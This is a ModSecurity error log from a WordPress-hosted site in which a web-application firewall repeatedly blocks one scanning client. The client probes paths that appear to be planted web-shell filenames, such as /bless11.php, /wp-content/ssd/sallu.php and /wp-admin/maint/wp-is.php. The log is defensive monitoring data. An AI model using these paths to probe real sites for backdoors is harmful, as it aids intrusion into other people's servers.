[Mon Apr 06 01:45:03.291541 2026] [:error] [pid 51753:tid 51814] [client 172.213.161.161:9238] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "adKfn63pmp1JkaicYbuQGgAAAQM"]
[Mon Apr 06 01:45:04.555418 2026] [:error] [pid 51753:tid 51823] [client 172.213.161.161:21047] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "adKfoK3pmp1JkaicYbuQIgAAAQw"]
[Mon Apr 06 01:45:05.444723 2026] [:error] [pid 51581:tid 51694] [client 172.213.161.161:8550] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "adKfod4k74fhQLPUy7FKEwAAAJg"]
[Mon Apr 06 01:45:06.584144 2026] [:error] [pid 51580:tid 51662] [client 172.213.161.161:20540] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "adKfolNFl1NiyNgNZAk8UQAAAFc"]
[Mon Apr 06 01:45:07.503169 2026] [:error] [pid 51581:tid 51682] [client 172.213.161.161:9211] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n.php"] [unique_id "adKfo94k74fhQLPUy7FKHQAAAI0"]
[Mon Apr 06 01:45:09.226312 2026] [:error] [pid 51753:tid 51818] [client 172.213.161.161:30774] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n.php"] [unique_id "adKfpa3pmp1JkaicYbuQQgAAAQc"]
[Mon Apr 06 01:45:11.958611 2026] [:error] [pid 51581:tid 51680] [client 172.213.161.161:17111] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n.php"] [unique_id "adKfp94k74fhQLPUy7FKLgAAAIs"]
[Mon Apr 06 01:45:13.584881 2026] [:error] [pid 51584:tid 51715] [client 172.213.161.161:8537] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n.php"] [unique_id "adKfqcZ4qY_GoNCPARAuvwAAANI"]
[Mon Apr 06 01:45:15.118180 2026] [:error] [pid 51580:tid 51653] [client 172.213.161.161:8560] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "adKfq1NFl1NiyNgNZAk8cAAAAE4"]
[Mon Apr 06 01:45:16.137481 2026] [:error] [pid 51584:tid 51699] [client 172.213.161.161:39218] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "adKfrMZ4qY_GoNCPARAuxQAAAMI"]
[Mon Apr 06 01:45:17.452582 2026] [:error] [pid 51581:tid 51683] [client 172.213.161.161:9220] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "adKfrd4k74fhQLPUy7FKRAAAAI4"]
[Mon Apr 06 01:45:18.692583 2026] [:error] [pid 51584:tid 51701] [client 172.213.161.161:30305] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "adKfrsZ4qY_GoNCPARAu0gAAAMQ"]
[Mon Apr 06 01:45:19.717287 2026] [:error] [pid 51580:tid 51656] [client 172.213.161.161:10599] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "adKfr1NFl1NiyNgNZAk8eQAAAFE"]
[Mon Apr 06 01:45:20.733484 2026] [:error] [pid 51584:tid 51716] [client 172.213.161.161:9218] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "adKfsMZ4qY_GoNCPARAu4QAAANM"]
[Mon Apr 06 01:45:21.343258 2026] [:error] [pid 51581:tid 51672] [client 172.213.161.161:13483] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "adKfsd4k74fhQLPUy7FKTQAAAIM"]
[Mon Apr 06 01:45:22.795689 2026] [:error] [pid 51581:tid 51694] [client 172.213.161.161:17087] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "adKfst4k74fhQLPUy7FKUQAAAJg"]
[Mon Apr 06 01:45:23.477318 2026] [:error] [pid 51753:tid 51813] [client 172.213.161.161:30313] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r4f_1.php"] [unique_id "adKfs63pmp1JkaicYbuQdgAAAQI"]
[Mon Apr 06 01:45:24.188811 2026] [:error] [pid 51753:tid 51818] [client 172.213.161.161:9261] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r4f_1.php"] [unique_id "adKftK3pmp1JkaicYbuQfQAAAQc"]
[Mon Apr 06 01:45:24.962624 2026] [:error] [pid 51753:tid 51824] [client 172.213.161.161:21037] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r4f_1.php"] [unique_id "adKftK3pmp1JkaicYbuQhQAAAQ0"]
[Mon Apr 06 01:45:25.754071 2026] [:error] [pid 51584:tid 51704] [client 172.213.161.161:30322] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r4f_1.php"] [unique_id "adKftcZ4qY_GoNCPARAu-AAAAMc"]
[Mon Apr 06 01:45:26.876824 2026] [:error] [pid 51753:tid 51823] [client 172.213.161.161:10063] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adKftq3pmp1JkaicYbuQkAAAAQw"]
[Mon Apr 06 01:45:27.932729 2026] [:error] [pid 51753:tid 51818] [client 172.213.161.161:2743] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adKft63pmp1JkaicYbuQmgAAAQc"]
[Mon Apr 06 01:45:29.207801 2026] [:error] [pid 51753:tid 51821] [client 172.213.161.161:39219] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adKfua3pmp1JkaicYbuQowAAAQo"]
[Mon Apr 06 01:45:30.191484 2026] [:error] [pid 51753:tid 51835] [client 172.213.161.161:10056] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adKfuq3pmp1JkaicYbuQrAAAARc"]
[Mon Apr 06 01:45:31.162106 2026] [:error] [pid 51753:tid 51814] [client 172.213.161.161:10088] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "adKfu63pmp1JkaicYbuQswAAAQM"]
[Mon Apr 06 01:45:31.701677 2026] [:error] [pid 51753:tid 51818] [client 172.213.161.161:21022] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "adKfu63pmp1JkaicYbuQuwAAAQc"]
[Mon Apr 06 01:45:32.304293 2026] [:error] [pid 51753:tid 51812] [client 172.213.161.161:13470] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "adKfvK3pmp1JkaicYbuQvwAAAQE"]
[Mon Apr 06 01:45:32.914336 2026] [:error] [pid 51753:tid 51827] [client 172.213.161.161:10021] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "adKfvK3pmp1JkaicYbuQxAAAARA"]
[Mon Apr 06 01:45:33.471920 2026] [:error] [pid 51580:tid 51652] [client 172.213.161.161:10050] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "adKfvVNFl1NiyNgNZAk8hwAAAE0"]
[Mon Apr 06 01:45:34.041811 2026] [:error] [pid 51753:tid 51827] [client 172.213.161.161:17027] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "adKfvq3pmp1JkaicYbuQzgAAARA"]
[Mon Apr 06 01:45:34.576330 2026] [:error] [pid 51753:tid 51817] [client 172.213.161.161:10561] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "adKfvq3pmp1JkaicYbuQ1wAAAQY"]
[Mon Apr 06 01:45:35.114223 2026] [:error] [pid 51584:tid 51705] [client 172.213.161.161:13749] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "adKfv8Z4qY_GoNCPARAvHAAAAMg"]
[Mon Apr 06 01:45:35.643076 2026] [:error] [pid 51753:tid 51818] [client 172.213.161.161:30288] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o.php"] [unique_id "adKfv63pmp1JkaicYbuQ4AAAAQc"]
[Mon Apr 06 01:45:36.175398 2026] [:error] [pid 51580:tid 51639] [client 172.213.161.161:10007] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o.php"] [unique_id "adKfwFNFl1NiyNgNZAk8jAAAAEA"]
[Mon Apr 06 01:45:37.056101 2026] [:error] [pid 51753:tid 51821] [client 172.213.161.161:10576] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o.php"] [unique_id "adKfwa3pmp1JkaicYbuQ6AAAAQo"]
[Mon Apr 06 01:45:37.831290 2026] [:error] [pid 51580:tid 51652] [client 172.213.161.161:13740] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/o.php"] [unique_id "adKfwVNFl1NiyNgNZAk8kQAAAE0"]
[Mon Apr 06 01:45:38.345011 2026] [:error] [pid 51580:tid 51662] [client 172.213.161.161:7258] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "adKfwlNFl1NiyNgNZAk8kwAAAFc"]
[Mon Apr 06 01:45:38.905690 2026] [:error] [pid 51584:tid 51719] [client 172.213.161.161:20534] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "adKfwsZ4qY_GoNCPARAvJwAAANY"]
[Mon Apr 06 01:45:39.439629 2026] [:error] [pid 51584:tid 51700] [client 172.213.161.161:17038] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "adKfw8Z4qY_GoNCPARAvKAAAAMM"]
[Mon Apr 06 01:45:39.964053 2026] [:error] [pid 51584:tid 51713] [client 172.213.161.161:17026] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "adKfw8Z4qY_GoNCPARAvLQAAANA"]
[Mon Apr 06 01:45:40.491040 2026] [:error] [pid 51581:tid 51692] [client 172.213.161.161:20996] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "adKfxN4k74fhQLPUy7FKdgAAAJY"]
[Mon Apr 06 01:45:41.567978 2026] [:error] [pid 51753:tid 51828] [client 172.213.161.161:64825] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "adKfxa3pmp1JkaicYbuQ9wAAARE"]
[Mon Apr 06 01:45:42.093875 2026] [:error] [pid 51581:tid 51687] [client 172.213.161.161:13755] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "adKfxt4k74fhQLPUy7FKfQAAAJI"]
[Mon Apr 06 01:45:42.638754 2026] [:error] [pid 51753:tid 51816] [client 172.213.161.161:9556] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "adKfxq3pmp1JkaicYbuRAQAAAQU"]
[Mon Apr 06 01:45:43.116581 2026] [:error] [pid 51581:tid 51684] [client 172.213.161.161:10051] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adKfx94k74fhQLPUy7FKgwAAAI8"]
[Mon Apr 06 01:45:43.609465 2026] [:error] [pid 51580:tid 51654] [client 172.213.161.161:17052] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adKfx1NFl1NiyNgNZAk8qgAAAE8"]
[Mon Apr 06 01:45:44.321889 2026] [:error] [pid 51584:tid 51705] [client 172.213.161.161:39188] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adKfyMZ4qY_GoNCPARAvOAAAAMg"]
[Mon Apr 06 01:45:44.897637 2026] [:error] [pid 51581:tid 51672] [client 172.213.161.161:10605] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adKfyN4k74fhQLPUy7FKiAAAAIM"]
[Mon Apr 06 01:45:45.425778 2026] [:error] [pid 51581:tid 51669] [client 172.213.161.161:10595] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adKfyd4k74fhQLPUy7FKjAAAAIA"]
[Mon Apr 06 01:45:45.963569 2026] [:error] [pid 51580:tid 51660] [client 172.213.161.161:10090] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adKfyVNFl1NiyNgNZAk8tgAAAFU"]
[Mon Apr 06 01:45:46.680199 2026] [:error] [pid 51580:tid 51646] [client 172.213.161.161:10562] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adKfylNFl1NiyNgNZAk8vAAAAEc"]
[Mon Apr 06 01:45:47.567514 2026] [:error] [pid 51581:tid 51693] [client 172.213.161.161:21014] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adKfy94k74fhQLPUy7FKkQAAAJc"]
[Mon Apr 06 01:45:48.318565 2026] [:error] [pid 51581:tid 51681] [client 172.213.161.161:17041] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adKfzN4k74fhQLPUy7FKlgAAAIw"]
[Mon Apr 06 01:45:48.863995 2026] [:error] [pid 51581:tid 51673] [client 172.213.161.161:50650] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adKfzN4k74fhQLPUy7FKnQAAAIQ"]
[Mon Apr 06 01:45:49.957020 2026] [:error] [pid 51753:tid 51814] [client 172.213.161.161:17074] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adKfza3pmp1JkaicYbuRGgAAAQM"]
[Mon Apr 06 01:45:50.989052 2026] [:error] [pid 51753:tid 51822] [client 172.213.161.161:9225] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adKfzq3pmp1JkaicYbuRJQAAAQs"]
